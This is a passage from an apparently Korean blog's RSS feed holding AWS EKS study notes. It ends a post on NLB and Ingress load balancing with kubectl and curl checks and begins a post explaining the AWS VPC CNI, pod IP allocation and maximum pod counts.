&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.09.05 PM.png&quot; data-origin-width=&quot;2708&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HnlCg/btsFRkp5AR8/epfXhKLw2WDQBCYYh1DlC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HnlCg/btsFRkp5AR8/epfXhKLw2WDQBCYYh1DlC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HnlCg/btsFRkp5AR8/epfXhKLw2WDQBCYYh1DlC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHnlCg%2FbtsFRkp5AR8%2FepfXhKLw2WDQBCYYh1DlC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2708&quot; height=&quot;150&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.09.05 PM.png&quot; data-origin-width=&quot;2708&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.09.42 PM.png&quot; data-origin-width=&quot;2222&quot; data-origin-height=&quot;620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gsm2X/btsFR9uRnXB/CGVkIZllstPu3jGLHtukN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gsm2X/btsFR9uRnXB/CGVkIZllstPu3jGLHtukN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gsm2X/btsFR9uRnXB/CGVkIZllstPu3jGLHtukN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGsm2X%2FbtsFR9uRnXB%2FCGVkIZllstPu3jGLHtukN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2222&quot; height=&quot;620&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.09.42 PM.png&quot; data-origin-width=&quot;2222&quot; data-origin-height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분산 접속이 실행되는지 확인하기 위해 curl 요청을 100번 실행해보면 분산이 이루어지는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710566315283&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 분산 접속 확인
NLB=$(kubectl get svc svc-nlb-ip-type -o jsonpath={.status.loadBalancer.ingress[0].hostname})
curl -s $NLB
for i in {1..100}; do curl -s $NLB | grep Hostname ; done | sort | uniq -c | sort -nr&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.17.54 PM.png&quot; data-origin-width=&quot;2176&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s1FvX/btsFQOSKTR5/ntapjaA2VW0N4POWTld6xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s1FvX/btsFQOSKTR5/ntapjaA2VW0N4POWTld6xK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s1FvX/btsFQOSKTR5/ntapjaA2VW0N4POWTld6xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs1FvX%2FbtsFQOSKTR5%2FntapjaA2VW0N4POWTld6xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2176&quot; height=&quot;110&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.17.54 PM.png&quot; data-origin-width=&quot;2176&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Ingress&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ingress(ALB)는 클러스터 내부의 L4 계층인 서비스(ClusterIP, NodePort, Loadbalancer)를 L7 계층 중에서도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;1&quot;&gt;HTTP/HTTPS로만 외부로 노출&lt;/span&gt;하는 역할을 합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wKkDC/btsFQRaYAj8/e8jRmZbW89gOvbaoEC7L91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wKkDC/btsFQRaYAj8/e8jRmZbW89gOvbaoEC7L91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wKkDC/btsFQRaYAj8/e8jRmZbW89gOvbaoEC7L91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwKkDC%2FbtsFQRaYAj8%2Fe8jRmZbW89gOvbaoEC7L91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1136&quot; height=&quot;411&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710567969001&quot; class=&quot;crystal&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 게임 파드와 Service, Ingress 배포
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ingress1.yaml
cat ingress1.yaml | yh
kubectl apply -f ingress1.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;application 유형의 로드 밸런서가 프로비저닝 중인 모습을 확인할 수 있으며 쿠버네티스에서도 ALB URL를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.37.27 PM.png&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfkup4/btsFPGONjOg/E6VSWCnsoUG28tUNmrRQv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfkup4/btsFPGONjOg/E6VSWCnsoUG28tUNmrRQv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfkup4/btsFPGONjOg/E6VSWCnsoUG28tUNmrRQv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcfkup4%2FbtsFPGONjOg%2FE6VSWCnsoUG28tUNmrRQv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2650&quot; height=&quot;670&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.37.27 PM.png&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.39.38 PM.png&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FkG7Z/btsFQNTRuJR/rJDUsrTfTN3TLiwkiV6xx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FkG7Z/btsFQNTRuJR/rJDUsrTfTN3TLiwkiV6xx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FkG7Z/btsFQNTRuJR/rJDUsrTfTN3TLiwkiV6xx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFkG7Z%2FbtsFQNTRuJR%2FrJDUsrTfTN3TLiwkiV6xx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;114&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.39.38 PM.png&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새롭게 추가된 리소스 맵을 통해 대상 그룹을 시각적으로 쉽게 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.43.21 PM.png&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;950&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nx2Pj/btsFRmaqD7H/RlthbHryGx7uKUI3UKvsy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nx2Pj/btsFRmaqD7H/RlthbHryGx7uKUI3UKvsy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nx2Pj/btsFRmaqD7H/RlthbHryGx7uKUI3UKvsy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNx2Pj%2FbtsFRmaqD7H%2FRlthbHryGx7uKUI3UKvsy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2650&quot; height=&quot;950&quot; data-filename=&quot;Screenshot 2024-03-16 at 2.43.21 PM.png&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;950&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/5</guid>
      <comments>https://imxsuu.tistory.com/5#entry5comment</comments>
      <pubDate>Fri, 15 Mar 2024 17:55:54 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] AWS VPC CNI</title>
      <link>https://imxsuu.tistory.com/4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS VPC CNI&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠버네티스에서는 네트워크 환경을 구성해주는 CNI(&lt;span data-token-index=&quot;0&quot;&gt;C&lt;/span&gt;ontainer &lt;span data-token-index=&quot;2&quot;&gt;N&lt;/span&gt;etwork &lt;span data-token-index=&quot;4&quot;&gt;I&lt;/span&gt;nterface) Plugin이 필수적으로 필요합니다. 따라서 다양한 종류의 플러그인이 존재하는데 온프레미스에서 구성할 수 있는 CNI의 종류는 아래의 그림과 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bighWC/btsFIk5ioTs/jUo0o8AyTdwTgMPFt3Bu0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bighWC/btsFIk5ioTs/jUo0o8AyTdwTgMPFt3Bu0K/img.png&quot; data-alt=&quot;출처 :https://www.tigera.io/blog/calico-in-2020-the-worlds-most-popular-kubernetes-cni/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bighWC/btsFIk5ioTs/jUo0o8AyTdwTgMPFt3Bu0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbighWC%2FbtsFIk5ioTs%2FjUo0o8AyTdwTgMPFt3Bu0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;190&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://www.tigera.io/blog/calico-in-2020-the-worlds-most-popular-kubernetes-cni/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 AWS에서는 자체 CNI인 AWS VPC CNI를 제공합니다. 이는 &lt;span data-token-index=&quot;0&quot;&gt;파드의 IP를 할당해주고&amp;nbsp;&lt;/span&gt;파드의 IP 네트워크 대역과 노드(워커)의 IP 대역이 같아서 &lt;span data-token-index=&quot;2&quot;&gt;직접 통신이 가능&lt;/span&gt;하다는 큰 장점이 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled3333.png&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/df3RM8/btsFFMaHK4q/3958xfOmb7i6nHPzSxK8p0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/df3RM8/btsFFMaHK4q/3958xfOmb7i6nHPzSxK8p0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/df3RM8/btsFFMaHK4q/3958xfOmb7i6nHPzSxK8p0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdf3RM8%2FbtsFFMaHK4q%2F3958xfOmb7i6nHPzSxK8p0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;392&quot; data-filename=&quot;Untitled3333.png&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;supports native VPC networking with the Amazon VPC Container Network Interface(CNI) plugin for Kubernetes.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;VPC와 통합&lt;/b&gt; : VPC Flow logs, VPC 라우팅 정책, 보안 그룹(Security group)을 사용 가능합니다.&lt;/li&gt;
&lt;li&gt;This plugin assigns an IP address from your VPC to each pod.&lt;/li&gt;
&lt;li&gt;VPC ENI에 미리 할당된 IP(=Local-IPAM Warm IP Pool)를 파드에서 사용할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled444.png&quot; data-origin-width=&quot;4084&quot; data-origin-height=&quot;1528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v4Nxl/btsFIi7uAnL/eRNZSgd3aWd0U9HDE6taBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v4Nxl/btsFIi7uAnL/eRNZSgd3aWd0U9HDE6taBk/img.png&quot; data-alt=&quot;출처 :https://aws.github.io/aws-eks-best-practices/networking/vpc-cni/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v4Nxl/btsFIi7uAnL/eRNZSgd3aWd0U9HDE6taBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv4Nxl%2FbtsFIi7uAnL%2FeRNZSgd3aWd0U9HDE6taBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;4084&quot; height=&quot;1528&quot; data-filename=&quot;Untitled444.png&quot; data-origin-width=&quot;4084&quot; data-origin-height=&quot;1528&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://aws.github.io/aws-eks-best-practices/networking/vpc-cni/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;0&quot;&gt;K8S Calico CNI 와 AWS VPC CNI의 차이&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드간 통신 시 일반적으로 쿠버네티스 CNI&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;오버레이&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(VXLAN, IP-IP 등)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;통신&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;을 하고, AWS VPC CNI는 네트워크 통신의 최적화(성능, 지연)를 위해 노드와 파드의 네트워크 대역을 동일하게 설정하여 불필요한 패킷 캡슐화 프로세스를 제거하였습니다. 따라서 직접적인 통신으로 인한 오버헤드 감소효과로 훨씬 효율적인 통신이 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xLYAN/btsFE1MLiFh/4jIF6rex6LmOLb9giareZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xLYAN/btsFE1MLiFh/4jIF6rex6LmOLb9giareZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xLYAN/btsFE1MLiFh/4jIF6rex6LmOLb9giareZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxLYAN%2FbtsFE1MLiFh%2F4jIF6rex6LmOLb9giareZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;390&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled111.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvMGSI/btsFJliowQE/KdocusBtccUXWRckOoQrH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvMGSI/btsFJliowQE/KdocusBtccUXWRckOoQrH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvMGSI/btsFJliowQE/KdocusBtccUXWRckOoQrH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvMGSI%2FbtsFJliowQE%2FKdocusBtccUXWRckOoQrH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1381&quot; height=&quot;433&quot; data-filename=&quot;Untitled111.png&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 AWS VPC CNI를 사용하면 노드와 파드가 같은 대역의 IP를 사용하는지 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710414674001&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 IP 확인
aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output table

# 파드 IP 확인
kubectl get pod -n kube-system -o=custom-columns=NAME:.metadata.name,IP:.status.podIP,STATUS:.status.phase&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.08.40 PM.png&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zQI7o/btsFLN1OqNM/7Z1NQ1sJxH07Zef9Rk9ul0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zQI7o/btsFLN1OqNM/7Z1NQ1sJxH07Zef9Rk9ul0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zQI7o/btsFLN1OqNM/7Z1NQ1sJxH07Zef9Rk9ul0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzQI7o%2FbtsFLN1OqNM%2F7Z1NQ1sJxH07Zef9Rk9ul0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1630&quot; height=&quot;1034&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.08.40 PM.png&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;생성 가능한 최대 파드 개수&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Secondary IPv4 addresses&lt;/b&gt; : 인스턴스 유형에 최대 ENI 갯수와 할당 가능 IP 수를 조합하여 선정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;IPv4 Prefix Delegation&lt;/b&gt; : IPv4 28bit 서브넷(prefix)를 위임하여 할당 가능 IP 수와 인스턴스 유형에 권장하는 최대 개수로 선정&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled222.png&quot; data-origin-width=&quot;1899&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FJqyj/btsFOWJkWyB/tFK6CMpht5JlHXnwDc2c50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FJqyj/btsFOWJkWyB/tFK6CMpht5JlHXnwDc2c50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FJqyj/btsFOWJkWyB/tFK6CMpht5JlHXnwDc2c50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFJqyj%2FbtsFOWJkWyB%2FtFK6CMpht5JlHXnwDc2c50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1899&quot; height=&quot;906&quot; data-filename=&quot;Untitled222.png&quot; data-origin-width=&quot;1899&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;노드의 기본 네트워크&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled333.png&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;787&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdy385/btsFOUx1hL2/2ycX9L6JKGWBknMYbRLI71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdy385/btsFOUx1hL2/2ycX9L6JKGWBknMYbRLI71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdy385/btsFOUx1hL2/2ycX9L6JKGWBknMYbRLI71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdy385%2FbtsFOUx1hL2%2F2ycX9L6JKGWBknMYbRLI71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;757&quot; height=&quot;787&quot; data-filename=&quot;Untitled333.png&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Network 네임스페이스는 호스트(Root)와 파드 별(Per Pod)로 구분됩니다.&lt;/li&gt;
